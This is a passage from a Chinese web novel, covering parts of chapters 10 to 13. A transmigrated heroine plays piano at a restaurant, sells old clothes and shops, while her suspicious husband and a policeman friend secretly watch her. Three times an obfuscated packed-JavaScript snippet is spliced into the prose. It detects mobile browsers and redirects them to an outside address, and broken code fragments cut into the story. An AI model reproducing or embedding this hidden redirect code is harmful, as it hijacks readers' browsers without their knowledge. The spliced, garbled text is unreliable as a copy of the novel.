刘婶叹了口气,迟疑了下,还是说:“维舟啊,你不要怪刘婶多事哦,媳妇儿娶进门,就要好好哄着的哦,平时也多说说话,你要身体没什么不舒服,就陪着去逛逛百货大楼,买点东西。柳姑娘脾气大一点,人蛮好的,老话都说了,烈女怕缠郎,你主动一点嘛!” 沈维舟半天没吭声,许久才嗯地应了一声。 刘婶摇头叹息,心里真是愁死了,他这样闷不吭声的性格,怎么哄得住媳妇儿哦。 另一边柳绵绵脚步轻快地来到芷江西餐厅,她午饭吃得早,到的时候正是餐厅上客的时段。 餐厅里井然有序,客人们安静吃饭,偶有交谈都轻声细语,服务员穿梭其中,也都轻手轻脚,整体氛围确实高雅和谐。 经理亲自将柳绵绵领到钢琴前,轻声告诉柳绵绵,老板交代,如果有人要点曲子,她这边也要尽量配合。 这是之前没有的要求。 原先他们说好的是,柳绵绵可以根据餐厅准备的曲谱,自由挑选曲目弹奏。这样便于柳绵绵自己掌握难度,有些特别难的曲子,或者是她没有把握的曲子,就可以不弹。 柳绵绵侧头看了经理一眼,经理自然知道眼前这位年轻的小姐并不像外表看起来那么单纯好说话,他笑着说:“额外的要求,自然是另外的价钱,只要有客人点曲子,一首曲子另外加你三块钱。” 柳绵绵挑了下眉,笑道:“成交。” 其实弹什么曲子她无所谓的,一般的她都会弹,不一般的也基本都会。 上辈子妈妈一直想把她培养成钢琴家,她从小学钢琴,学了十年多,要不是父母遭遇空难去世,打乱了她原本的人生轨迹,没准她真的会一直走下去。 哪里想到,有一天弹钢琴居然会成为她的谋生手段。 不过,挣钱嘛不寒碜。 轻柔的琴声响起,从餐厅一角泉水般流向整个餐厅的角角落落,丝毫不显突兀,那些喁喁私语的客人一怔之后,很快露出笑容继续小声交谈。 钢琴的音量刚刚好,既让人感觉舒服,又不会影响他们说话,甚至有了琴声的掩饰,他们说话反而更自然随意了。 “果然是港城老板开的餐厅,这格调是不一样哈。” “曲子弹得不错,这里的用餐环境在南城也算是独一份了。” “弹钢琴的姑娘蛮漂亮的,跟电影明星似的。” “琴弹得这么好,没准是哪个大剧团的,要么是音乐学院的。” …… 柳绵绵并不知道餐厅的角角落落,不少客人都在谈论她。一曲结束,她正准备稍稍休息两三分钟,一个娃娃脸,看着年纪不大,穿了身服务员制服套裙的小姑娘拿着个托盘走到她身边,轻声:“柳小姐,客人点的曲子。” “……” 柳绵绵难以置信,不过还是压低了嗓音:“这么快就有客人点曲子了?” 小姑娘露出尴尬的表情,支支吾吾答不上来,柳绵绵顿时明白了,也不为难她,说:“可以,我知道了。” 小姑娘似乎松了一口气,说了声“谢谢”就赶紧溜了。 展开折起的纸条,柳绵绵瞥了一眼,果然,是个演奏难度很高的一个曲子。 柳绵绵忍不住在心里吐槽,不就是个西餐厅的钢琴伴奏嘛,怎么的,难度还要媲美专业演奏家级别考试啊? 不过吐槽归吐槽,该弹奏还是老老实实弹奏,这一首曲子就多三块钱呢!反正都要弹,弹什么曲子不是弹,她巴不得有人点曲子呢,要是每天有那么三五个点曲子的,她这月收入就能立马翻一番。 一曲结束,娃娃脸小姑娘又来了,托盘上依旧是一个折起来的纸条,她把纸条交给柳绵绵,不好意思地吐吐舌头,不等柳绵绵说话,赶紧就又溜了。 柳绵绵展开纸条看了眼,字迹和刚才那个纸条一样,曲风变了,一首特别激昂雄壮的曲子。 刚才那首是考验技巧,这首就是考验反应能力了。 柳绵绵心里琢磨了一下,手里哗啦啦地翻着餐厅准备的曲谱本,很快她把曲谱本往旁边一丢,手指轻盈而坚定地按下琴键。 后面那个眼熟的字迹又出现了两次,再后面拿来的两张纸条笔记就不一样了,点的曲子也很常见。 两小时过去,餐厅里客人只剩零零落落的两三桌,柳绵绵的工作时间也到了。 餐厅经理亲自送她出门,走到院子里,他笑眯眯地,用一种揭开什么谜底的语气说:“老板点了四首曲子,你完成得很不错,她非常满意,夸你琴弹得好好呢!” 老板自然就是林二小姐。 员工第一天上班,老板不放心,要考考员工的水平嘛,柳绵绵已经猜到了。她不太走心地客气了一下:“老板还在餐厅里面吗,我去谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670004|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她?” 经理笑着摆手:“老板很忙的啦,吃完东西就走了,她很看好你的,下次肯定有机会见面的啦。” 柳绵绵其实更关心后面两个纸条,随口表示期待见面后就问:“后面两首曲子?” “是客人点的啦。”经理说,“客人不知道那是老板,见她点曲子,也好奇跟着点了啰。老板很有生意头脑的,我看以后会有很多客人点曲子的。” 柳绵绵也是为了确认后面两单是不是客人点的。毕竟老板不可能天天来考察员工的水平,有其他客人点曲子,她才有持续收到额外费用的可能。 经理说着又从兜里掏出几张纸币:“这是中午点曲的费用,老板交代了,这个钱每天直接结算给你,以后你直接找阿琳领就可以了。”阿琳是餐厅的收银。 这可真是意外之喜。 柳绵绵高高兴兴接过来:“多谢陈经理!” 一共六首曲子,十八块钱呢,这都抵得上学徒工一个月的工资了。 三百八十不嫌多,十八块也不嫌少,何况,如果天天都有这么多的额外收入,那她绝对是跻身南城高收入群体了。 揣着热热乎乎的十八块钱,柳绵绵喜滋滋地回到求知巷。 院门锁着,柳绵绵敲了会儿门,里面半天没人应声,她后知后觉想起来,沈维舟和刘婶大概是都已经出门了。 掏出俞婉之前给她的钥匙进门,院子里果然静悄悄的。 柳绵绵朝着厨房的方向喊了几声“刘婶”,没人应声,又朝着正房的方向喊了几声“沈维舟”,还是没人应声。 确认其他人都不在家,柳绵绵顿时轻松无比,笑呵呵地哼起了歌:“今儿真呀真高兴,咱们老百姓,高兴,高兴,今儿真呀么真高兴……”唱着唱着,还扭了两下。 柳绵绵哼着歌进了东厢房。 她并不知道,此时此刻,院子角落不起眼的杂物房里有两双眼睛正看着她。 人高马大的林哲缩在逼仄的墙角,表情一言难尽,评价说:“你媳妇儿还挺活泼的哈。” 沈维舟站在破书柜后面,冷着脸,眼底也有几分无语。 他也不知道柳绵绵私底下原来这么……活泼。 林哲同情地看着沈维舟:“如果真像你怀疑的,你媳妇儿想要离家出走……说回来还真有点像,她进门还故意喊了你们,是想确定你们在不在家吧?要真是这样,那她还挺迫不及待的啊?”都高兴成那样了,载歌载舞的。 “……” 沈维舟面无表情,淡声:“天若欲其亡,必先令其狂。” 嘶,林哲看他一眼,没这么严重吧? 11. 第11章 柳绵绵在屋里收拾东西,原本觉得兜里没钱,有些东西凑合也能用,有了新入账的十八块钱,她很干脆地把原先的洗漱用品还有原主的两双旧鞋子也给扔了。 还有一些原本觉得可扔可不扔,或者当抹布什么的,现在也都一起扔了。 正收拾呢,忽然听见院子里好像有什么声音,她开门看了眼,没看到什么。 附近有几只野猫,柳绵绵在巷子里见过,大概是这一片大家日子都不错,不缺一口两口吃的,野猫被喂得很胖。 柳绵绵猜测是野猫跑进院子了,也没在意,仍旧回屋里,把要卖的、要扔的分别收拾妥当。 嚯,全都塞在一起真是老大的一包。 柳绵绵力气不算小,可那么大一个袋子,她一只手还真提不起来。没办法,只能两只手拖着走,等到了垃圾站把不要的扔掉就好一点了。 把袋子先拖到门口,柳绵绵回头锁好门,这才又拖上袋子往前走。 路口。 林哲掸了掸头发。他俩从杂物间出来时,门上突然挂下来一只老大的蜘蛛,他还没反应过来呢,沈维舟不知道哪儿捡的一根细木棒,歘地一下,给蜘蛛捅了个对穿。 他没被蜘蛛吓到,倒是被沈维舟惊到了,非常不专业地发出了声音。要不是他反应快,动作敏捷,差点就被柳绵绵发现了。 “真没蜘蛛网?”林哲问。 大概是心理作用,他老觉得脑袋上好像有蜘蛛网。 沈维舟脸色不太好看,语气也不太好:“没有。”看他的眼神还有点嫌弃。 林哲表示理解。 他猜测沈维舟是和媳妇儿吵架了,然后两个人都说了些上头的话,比如散伙啦离婚啦老娘今天就走之类的。 沈维舟这个结婚没几天的愣头青就当真了,甚至劳师动众地摇人过来堵人——别看这家伙成天冷着张脸,谁都懒得搭理的样子,没想到骨子里这么在意他媳妇儿。 看破不说破,这个道理林哲还是懂的。 不过,林哲奇怪地看了沈维舟一眼,问:“研究所是不是还给你们这些研究员找武术教练了?为了确保你们的人身安全,或者是,为了强身健体?你弄死蜘蛛那一下,那叫一个快狠准,我琢磨我可能都做不到。真看不出来啊,你平时病恹恹的,能有这身手?” 沈维舟面不改色,淡声说:“人在高压、紧张的状态下,往往能爆发出数倍于平常的能力。” 他理直气壮甩锅:“我是被你吓到了。” 他俩从小就认识,林哲对沈维舟知根知底,倒是不会多想,沈维舟这么说,林哲想了想,觉得也对,应该就是凑巧。 林哲没再揪着这个问题,捏着手里比火柴盒还要小那么一点的铁盒子,提出了新的疑问:“你媳妇儿离家出走,这玩意儿就会发出警报?靠谱吗,就我们之前在院子里看着,也不好判断你媳妇儿想做什么吧,这玩意儿又不是你媳妇儿肚子里的蛔虫,它能判断你媳妇儿是不是真要离家出走?” 沈维舟看一眼林哲手中的报警器,语气波澜不惊:“我在我爸妈放钱和其他东西的地方装了报警装置。” “……” 林哲眼睛都瞪大了,甚至怀疑自己前几天连续加班,没睡好出现幻觉了:“你说什么……你还往你爸妈房间里装了报警装置?!” 不对,林哲很快反应过来,沈维舟说的是往他爸妈放钱和其他东西……这个其他东西显然指的是比钱还要贵重的东西……所以,沈维舟不但怀疑他媳妇儿要离家出走,还怀疑他媳妇儿要偷了家里东西走? 林哲表情变得严肃,涉及到他人财物,哪怕是公婆的财物,这可就不是普通的家庭纠纷了。 “你可真行!”林哲冲沈维舟竖了竖大拇指,不管事情是不是像沈维舟怀疑的那样,这人直接在家里装报警器,可真是,牛逼。 “有没有可能是有什么误会?” 派出所调解工作做多了,林哲习惯性地想要调解一下双方的矛盾,不过没等沈维舟回答,他突然往后撤了两步,低声提醒:“你媳妇儿出来了。” 林哲低头看了眼手里的报警器,这玩意儿也没响啊! “会不会真是有误会?”他又问了一遍。 沈维舟也看了眼报警器,皱了皱眉,不过还是斩钉截铁说:“不可能。” 从这几天发生的事情就可以看出来,哪怕细节上有变化,但大的一些事情和节点不会有什么改变,比如他们结婚、回门,比如江北村祭祖演出,甚至他今天确实也接到了研究所的电话,和上辈子一样,让他去参与机密研究项目的难题攻坚讨论。 一切都预示着上辈子的事情依然会发生。 就连那个叫朱永齐的,也已经被释放。 沈维舟并不认为这辈子柳绵绵会做出不同的选择。 甚至,他其实也并不希望她做出不同的选择。 那一丝似有若无的犹豫被他死死压在心底,他只想尽快将柳绵绵送进牢里,尽快了结他们之间的恩怨。 所以,他宁可相信是这个年代的材料不够好,他制作的警报器出现了问题无法正常使用。 “你媳妇儿拖的这个袋子看着是挺沉哈,不会真是把你家稍微值钱点的东西都搜刮走了吧?”林哲啧了声,还是又劝了一句,“不过这都是我们的猜测,要不再看……” 他还没说完,身旁的沈维舟已经冲了出去,林哲只好赶紧跟上去。 柳绵绵一路拖着个大包,拖得汗都出来了,正嘀咕自己真是没脑子,明明可以分个几次慢慢把东西处理掉的,一次拿个几件,也不累,偏偏脑子一抽把所有东西都整理了出来,真是沉得要命,搞得她都想给拖回9号院儿去了。 突然就被人拦住了。 她抬头看去,汗水流进眼睛里,辣得有些睁不开眼,看不清拦住她的是谁,不过声音倒是很熟悉。 “你在干什么?” 是沈维舟的声音,语气不太友好,冷冰冰的。 柳绵绵也不管脏不脏了,拿袖子往脸上抹了两下,呼,舒服了,能看清人了。 她稍稍站直了,莫名其妙看着面前的人:“我去旧货商店卖东西,还得去趟百货大楼,忙着呢,你有事吗?” 拖着一大袋东西,柳绵绵现在又热又累,这人一点眼力见也没有,也不说帮帮忙,说话语气还冷冰冰的,她听着不舒服,语气自然也不太好。 她说完后,沈维舟半天没吭声,搞不懂他什么意思,拦住她就为问这么一句吗? 柳绵绵有些奇怪地反问:“你不是去研究所了吗,怎么又在这里?” 沈维舟盯着面前的人,她如果是在演戏,那她的演技可真是炉火纯青。她的脸上,看不到一丝恐惧、心虚、忐忑之类的情绪,甚至还敢理直气壮地反问他。 旧货商店卖东西,还要去百货大楼? 沈维舟在心里冷笑。 只是借口未免太拙劣了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670005|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一个新嫁娘,随身带的东西,大部分都是这次他们结婚新置办的,就算有一两件旧衣服,她那个皮箱能装几件衣服? 怎么可能有这么多东西可卖? 真是撒谎不打草稿。 “你把这袋东西打……” 沈维舟想说你把这袋东西打开,就知道我为什么在这里了,林哲突然大声打断他:“弟妹,你是要把这袋东西拿去哪里啊,这看着挺重的,要不要帮忙?” 说着侧头疯狂冲沈维舟使眼色让他赶紧闭嘴。 让你媳妇儿把这袋东西打开给你检查,回头要是误会一场,你是准备跪上一年搓衣板吗? 这可真是刚结婚的愣头青,完全不懂家庭和谐的重要性啊! 柳绵绵没注意他俩的眉眼官司,感慨到底还是公安同志靠谱,为人民服务的意识深入骨髓,瞧瞧,多么的乐于助人,急群众所急,解群众所难。 她开心道:“需要,可太需要了。林同志能帮忙先把这个袋子拖到垃圾站吗,里面有一包东西是要扔掉的。那些东西扔掉以后,我自己就能拎得动了。” “没问题。”林哲一把拎起袋子,“哟,这确实挺沉的,就前面那个垃圾站是吗?” 柳绵绵:“对对对,就前面一点,不远的。” 林哲:“行,那咱们走。” 他拽了一把沈维舟,边走还边解释:“维舟本来是要去研究所的,是我临时过来找他,他就把研究所那边给推了。你知道的,他是挂名在研究所,不过不用每天去坐班的,有什么重要事情去一下,不去也没事的。” 柳绵绵幽幽看他一眼,说:“我不知道。” “啊?哦,哦哦,你不知道,那,那也正常,你们这才结婚几天啊,肯定没来得及交代这些事,呵呵,呵呵呵。”林哲干笑,又拽了沈维舟一把。这人怎么回事,结婚这么多天了,这些事情居然都没告诉媳妇儿。 沈维舟看一眼林哲手里的袋子,没说话。 林哲无语。 以他办案的经验,柳绵绵表情自然,不慌不乱,应该并没有撒谎,她可能确实是去旧货市场和百货大楼。 林哲觉得也正常,他家媳妇儿有时候看上百货大楼哪件新衣服了,也会说把家里旧的拿去旧货商店卖掉,能抵一点是一点。 至于东西多,也正常,谁家里没点旧东西?没准里头不止柳绵绵自己的,还有沈维舟的呢。 被自家媳妇儿扔掉过很多旧鞋旧袜子旧内裤的林哲觉得一点都不奇怪。 退一万步讲,到前面那个垃圾站扔东西的时候,他们不就知道她袋子里装的是什么了? 沈维舟这就是关心则乱。 有人高马大的林哲帮忙,袋子很快被拎到垃圾站旁边。 柳绵绵解开袋子,拽出个用几件旧背心打结拼成的布包,抱着往垃圾推里一扔,拍拍手:“行了,扔掉这些东西,我这袋子就没那么重了,你们有事就去忙吧,我要去旧货商店了。” 林哲看一眼沈维舟,发现沈维舟还盯着他媳妇儿的袋子。 这人真是魔怔了。 林哲怕沈维舟又说出什么不好挽回的话,赶紧说:“那什么,我们俩事情已经谈完了,反正也没事,要不就陪你去旧货商店走一趟吧?” 听见林哲这么说,柳绵绵惊讶地挑了下眉,总觉得这俩人今天怪怪的。 她想了想,对林哲发出灵魂的拷问:“林公安,你今天不用上班吗?” 12. 第12章 林哲自然是要上班的,只是沈维舟难得有事找他,正好前段时间连着加了几天班,他就调休了半天。 其实林哲是觉得,没必要再跟着去旧货商店了,但显然沈维舟那副死样子,是不到黄河心不死。他怕沈维舟一个人去,回头说出什么不好听的,真把柳绵绵给惹毛了,到时候疑似离家出走,没准就直接成离婚散伙了,所以他觉得自己还是得跟着。 他笑呵呵地说:“我下午休息,左右没事,一起去见识见识,正好儿还能去知青菜场买点我媳妇儿爱吃的捎回去。” 既然公安同志坚持要助人为乐到底,柳绵绵自然也不会拒绝:“行,那就麻烦林同志了。”她感觉这俩人奇奇怪怪的,不过她和他们都不太熟,所以并不准备多管闲事,反正肯定跟她没关系。 林哲:“客气什么,我和沈维舟从小一起长大的,都是自己人。” 说回来,沈维舟虽然身体不好,但他从小就是南城军区大院里出了名的天才,小时候他调皮捣蛋,老头子揍他的时候,都得骂一句“你怎么不学学人家维舟”,纯纯的别人家的孩子。 不过林哲觉得,聪不聪明和会不会过日子,可真是两码事。沈维舟别看人聪明,可要说人情世故,真是一般般,非常的一般。今天要不是自己跟着,他这媳妇儿没准就得被气跑啰。 旧货商店就隔了两条街,有人帮忙拎东西,感觉没怎么费劲就到了。 柳绵绵发现林哲这人还挺有意思,走了一路跟她聊了一路,还见缝插针地说了沈维舟不少好话,活像专门来调解他们夫妻纠纷似的。 柳绵绵琢磨着自己对沈维舟态度应该还可以啊,扭头看一眼沈维舟,哦,懂了,肯定是他的问题,成天冷着张脸,难怪林哲以为他俩有矛盾。 “这些都是要卖的吗?”柳绵绵从袋子里往外掏,旧货商店的营业员就一件一件地给抖落开,看了几件后忍不住说,“你这些都挺新的,也是蛮时新的料子,这卖了有点可惜的哦。” 柳绵绵觉得没什么可惜的,一则这些衣服确实不是她的审美,二则这都是原主的衣服,她穿着也不太舒服。还得庆幸这年代的旧货商店收衣服呢,不然直接扔掉才是浪费。 营业员提醒过了,见柳绵绵坚持也就没再多说,直接给她报价格:“这件挺新的,去年在百货商店买的吧,他们新的卖二十二,我们这儿收十二,东西新我就给你往高了算,不然我们一般是八、九元的样子。这件旧一点,我给你算十元吧……” 营业员一边说一边噼里啪啦地打着算盘,很快就把钱算好了:“一共九十三元五角钱。” 一袋衣服连一百块钱都不到。 柳绵绵叹了口气,说:“行。” 营业员利落地把钱点给柳绵绵,然后,当着柳绵绵的面,给第一件“收十二”的那件,夹上个“售价十六元”的标签。 “……” 柳绵绵心情有点复杂。 不过换个思路,她其实是用不要的东西换回了九十多元“巨款”,这么一想就开心了。毕竟等到大街小巷到处都是卖服装的地摊时,她这些旧衣服就绝对卖不出这个价了。 “走,请你、你们喝汽水去!”柳绵绵高兴地说。 其实柳绵绵有点不理解沈维舟为什么也要跟来,又不能帮着拎东西,又一声不吭的,还时不时拿奇怪的眼神看她。 他不来,她还能省一瓶汽水钱呢。 不过算了,好歹是同床室友。 隔壁就是供销社,柳绵绵去买了三瓶桔子汽水,看到有新到的鸡蛋糕,又让售货员给称了一斤。 沈维舟和林哲站在供销社外面。 林哲看了眼正在买东西的柳绵绵,说:“看见了吧,人家就是拎点旧衣服过来卖,女同志都这样,喜新厌旧,衣服买来没几天,就又觉得还是新出的款式好看。你也别疑神疑鬼了,我看柳同志这人性格不错,开朗大方,你好好跟人过日子。” 沈维舟撩起眼皮看向他:“你觉得,她一次性卖掉那么多衣服是正常的?她一共就没多少衣服,卖掉这些以后,应该不剩几件了。” “……所以你还是怀疑她?”林哲嘶地倒吸口气,明白过来沈维舟的意思,“你怀疑她卖掉东西换钱是为了方便走人?” 林哲都不明白了:“你究竟为什么这么怀疑她?” 柳绵绵拎着汽水和鸡蛋糕出来,汽水每人分一瓶,鸡蛋糕的袋子却塞给了林哲:“这是给嫂子买的,孕早期多补充点营养。”换了几十年后,孕妇可能还要注意科学饮食,避免孕期糖尿病,这时候完全不用考虑这些问题,营养不够才是大多数。 林哲有些意外,不过也没推辞:“那我替你嫂子谢谢啦!” 偷偷给了沈维舟一个眼神:瞧瞧,你媳妇多会来事儿,哪像你。 林哲果断选择撤退:“那行,那百货大楼我就不去了,你俩自己逛吧。” 他是真没看出来柳绵绵有哪怕一丁点“离家出走”的迹象,不准备再跟着这小夫妻俩了,显得他太多余。沈维舟怀疑就让他怀疑去,陪媳妇儿逛逛百货大楼,花点钱,他没准就不怀疑了。 走之前林哲还叮嘱了一句:“柳同志,你在百货大楼看上什么了,就让沈维舟给你买,他兜里富裕着呢。” 留下两个人站在供销社门口面面相觑。 “你先回家吧,我去百货大楼逛逛就回。”柳绵绵果断说。她可没想要花沈维舟的钱,她兜里有卖衣服的九十多、西餐厅挣的十八块和原先的九十多,足足两百多呢,够买不少东西了。 沈维舟随便找了个借口:“笔坏了,要去百货大楼买一支新笔。” 柳绵绵无语地指指后面:“供销社就有笔。” 沈维舟沉默两秒,说:“供销社的笔不好,我习惯用百货大楼的一款笔。” 恰好一个售货员从供销社走出来,闻言狠狠瞪了沈维舟一眼。 柳绵绵忍不住想笑,她提供了另一个方案:“你告诉我是哪款,我帮你买。”这边过去公交车要坐五站路,他这病恹恹的,实在没必要为一支笔折腾一趟。 沈维舟又沉默了两秒,说:“别人挑的我用不习惯。” 柳绵绵:“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670006|173112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等到上了公交车,柳绵绵才想起来,作为这个时空的“土著”,沈维舟在坐公交车这件事上其实完全碾压她。 甚至,由于沈维舟脸色特别苍白,售票员还优先给他安排了一个前排的好位置,柳绵绵作为“陪同家属”,蹭到了他旁边的边角料位置。 哪怕他俩说不用,售票员和其他乘客都不答应,一副生怕沈维舟在车上就撅过去的样子。 到了百货大楼,柳绵绵直冲文具柜台。她可实在太好奇了,究竟什么样惊天地泣鬼神的笔,能让沈维舟不辞辛劳跑这么远来亲自挑选。 “哪款,是哪款?” 柳绵绵好奇看着玻璃柜里面排列整齐的钢笔,一般的铱金笔两三元,贵一点的金笔七八元,再贵一点,几十元的也有,最贵最贵的,一款刻着永生字样的金笔,标价九十五元。 好家伙,四舍五入就是一百。 “特地跑这么远,肯定不是普通的笔吧?”柳绵绵边看边嘀咕,视线在“四舍五入一百”上停留得最久。要么说贵有贵的道理呢,这支笔看着还真是不太一样。 沈维舟面无表情看了眼,随后指了指最贵的那支:“这个。” 柳绵绵欻地扭头看向他,双眼晶亮。 啧啧,果然是最贵的这支。这人可真有钱啊,难怪林公安说他兜里富裕着呢。 沈维舟抽了抽嘴角,直接掏钱,从售货员手中接过装着笔的盒子,他看也没看,随手往衣服口袋里一塞,说:“走吧,买你的衣服去。” 柳绵绵对他简单粗暴的行为表示嫌弃。 怎么的就“别人挑的我用不习惯”了? 就这,还用挑吗,不就是“把最贵的那一款给我包起来”这么一句话的事情? 而且,她买衣服其实一点都不需要他陪。 算了算了,最后的日子再感受感受人间烟火气也挺好的,就当临终关怀了。 再度说服自己后,柳绵绵开始盘算买些什么。天气很快就会热起来,秋冬季的衣服可以暂时不买,买几件衬衣,再买两条薄款的裤子,连衣裙如果有合适的,也可以买一两条。 其实她本来还准备买些内衣裤,沈维舟跟着不太方便,幸好这些供销社应该有,回头去供销社买就可以了。 对了,还有洗漱用品,也要买新的。 这么一划拉,两百块钱好像有点不够花。所以在买完三件衬衣、两条裤子以后,又看到一条标价八十五元的水蓝色连衣裙时,柳绵绵就有点纠结了。 她挺喜欢这条裙子,但是价格超预算了。 “绵绵?”身后忽然有人喊她。 柳绵绵转身,看到柳锦诗站在几步外,表情复杂地看着她。 站在柳锦诗身旁的,是一个戴银框眼镜的青年,长得不错,看上去斯斯文文的。 柳绵绵正在想这人好像有点眼熟,就听见银框眼镜青年冲沈维舟喊了声“大哥”,说:“大哥今天看起来精神不错?” 然后,柳绵绵就听见沈维舟闷咳了几声,有气无力地“嗯”了声。 柳绵绵:“???” 13. 第13章 柳绵绵回头,发现沈维舟靠在了玻璃货柜上,低着头轻声地咳嗽。 也不知道是不是错觉,他脸色似乎又苍白了几分,虚弱得好像真的随时会撅过去似的。 除了瘦一点、脸色苍白一点,沈维舟平时看上去一点不像病入膏肓的人。柳绵绵习惯了,经常会忘记这个事情,再说从她穿越过来,也没见他有什么特别不舒服的。 突然看见他这个模样,柳绵绵顿时有些慌乱,下意识上前扶他,一叠声问:“你哪里不舒服,要不要去医院,身上带药了吗,要不要先吃个药?” 被她握住手腕,沈维舟浑身一僵,差点条件反射一巴掌把她拍开,他视线在她手上停留一瞬,说:“不用,我没事,休息一下就好了。” 他看着真不像没事的样子。 柳绵绵狐疑地问:“真没事?” 见他点了点头,扭头跟因为沈维舟靠在货柜上而不满地翻了个白眼、看见沈维舟这样又有些惊疑不定的售货员说:“你们这儿有水吗,麻烦给倒一杯温水来。” 售货员大概也是吓到了,忙从货柜底下拎出个热水瓶,又跟隔壁柜台要了个在售的搪瓷杯,快手快脚地给倒了一杯热水递过来。 柳绵绵皱皱眉:“你这个杯子没洗。” 售货员柳眉倒竖,差点就要开口骂人,看一眼沈维舟,还是忍着怒气晃荡了一下搪瓷杯,把杯里的水倒掉,又给重新倒了一杯。 柳绵绵接过来塞进沈维舟手里:“喝吧。” 沈维舟:“……” “要不还是一起送大哥去医院吧,检查一下怎么回事?”银框眼镜青年和柳锦诗走了过来。 “刚才还好好的,你们一来他就发病了。”柳绵绵嫌弃地看他们一眼,“你们别过来,先站远点,别影响空气流通。” 青年脸色不太好看:“大嫂,你不要乱说话,大哥这是旧疾复发,和其他人没关系。” “你才是别乱喊人,喊谁大嫂呢?”柳绵绵下意识就呛了回去,平白无故把她喊老了。 柳锦诗插话说:“他是沈维鸿,你丈夫的堂弟,本来就该喊你大嫂的。柳绵绵,你在家无理取闹,伤爸妈的心也就算了,不要在外面也无理取闹。” 柳绵绵微微眯起眼,打量柳锦诗一眼。 回门那天,她在柳家闹了一通,拿回了两千元彩礼,那时候不管他们怎么闹,柳锦诗可都是事不关己高高挂起,半点没掺和的,今天她倒是一反常态。 等一下。 沈维鸿,沈维鸿不就是原书里那个科研大佬男主吗? 原书里,沈维鸿深深迷恋着女主,在女主搞事业的时候给予各种帮助,在女主痛失所爱的时候,默默守候在她身边,最后终于感动女主赢得芳心,两个人从此过上事业爱情双丰收的幸福生活。 哦,对了。 沈维舟就是女主痛失的那个“爱”,在女主为了事业南下的时候突然结婚,后面又突然去世,等到女主从南边回来时,他坟头的草都快长出来了。 沈维鸿身为男主,身边自然也有不少芳心暗许的红颜知己,只是他爱女主爱得死去活来,弱水三千只取一瓢,和其他女人总是自觉地保持朋友距离。 而柳锦诗,就是他的红颜知己之一。 啧啧啧,真是好一出“我爱你,你爱他,他爱她”的多角狗血恋情。 柳绵绵一双眼睛在沈维鸿和柳锦诗之间来回打量了几遍,看得他们都有些不自在了,这才拖着声音“哦”了一声,说:“你说的伤爸妈的心,是指他们瞒下两千块钱彩礼被我戳穿要回来吗?痛失两千,确实挺伤心的哈。” 不等柳锦诗反应,她飞快地接下去说:“至于他是不是我丈夫的堂弟,他自己不会自我介绍吗,要你在这儿多事?啊,我知道了,他不会就是你喜欢的那个南城大学的大学生吧?啧啧啧,那算了,看在你一片痴心的份上,我就不计较你胡说八道多管闲事了。”一副“我够宽容大度了吧”的模样。 “你!” 柳锦诗又羞又恼,偷偷看一眼沈维鸿,见他皱着眉头,明显不太高兴,她脸色一白,跺了下脚,转身跑了。 “锦诗!”沈维鸿喊了一声柳锦诗,指责柳绵绵,“大嫂,你怎么能这样当众羞辱锦诗?” 柳绵绵一脸疑惑:“说她喜欢你原来是羞辱她啊,那你跟我说有什么用,你让她不要喜欢你不就好啦?” “噗嗤。”一旁偷偷吃瓜的售货员没忍住笑了出来。 沈维鸿脸都涨红了,心知按柳绵绵这歪理继续说下去,丢脸的也只会是自己,扭头就去追柳锦诗了。 看着也没多自觉保持朋友距离嘛,柳绵绵嘀咕了声。 打完嘴仗,她回头问沈维舟:“你好点没有?” 沈维舟摇头说没事了,她啧地一声:“你这个堂弟也没多关心你嘛,还说一起送你去医院呢,这就跑了。” “……” 沈维舟甩开她的手,站直了,对售货员说:“麻烦拿一下那条蓝色裙子,还有这个杯子我们也买了。”说着,从兜里拿出一个黑色的皮夹,抽出几张纸币递过去。 柳绵绵狐疑地看他,这就好了,他这病,怎么跟变戏法似的? 她眯了眯眼,这人不会是装的吧? 虽然怀疑沈维舟是装的,但柳绵绵又觉得,装病也得有个动机吧,那是他堂弟,又不是他仇人。 售货员把包好的衣服递给沈维舟,沈维舟转手就塞进了柳绵绵手里,那模样,跟拿的不是裙子而是炸药包似的。 柳绵绵觉得平白无故收他一条这么贵的裙子不合适,于是又让售货员拿了一打男袜,笑眯眯说:“礼尚往来啦。” 沈维舟无语,她这礼尚往来可真划算,拿颗芝麻跟人换走西瓜。 没别的要买了,两人拎着东西往外走,走到百货大楼外面,沈维鸿不知从哪里又冒了出来。 他问沈维舟是不是好点了,说自己担心柳锦诗出什么事,才追出去的。言下之意,他还是很关心沈维舟这个堂兄的。 随后他又说:“大哥,你们结婚好几天了,怎么也该回军区大院吃个饭吧?爷爷嘴上不说,心里肯定很记挂你,奶奶也盼着你经常回去。” 沈维舟轻咳了声,淡淡看向他,嘲讽地笑了下:“是么?” 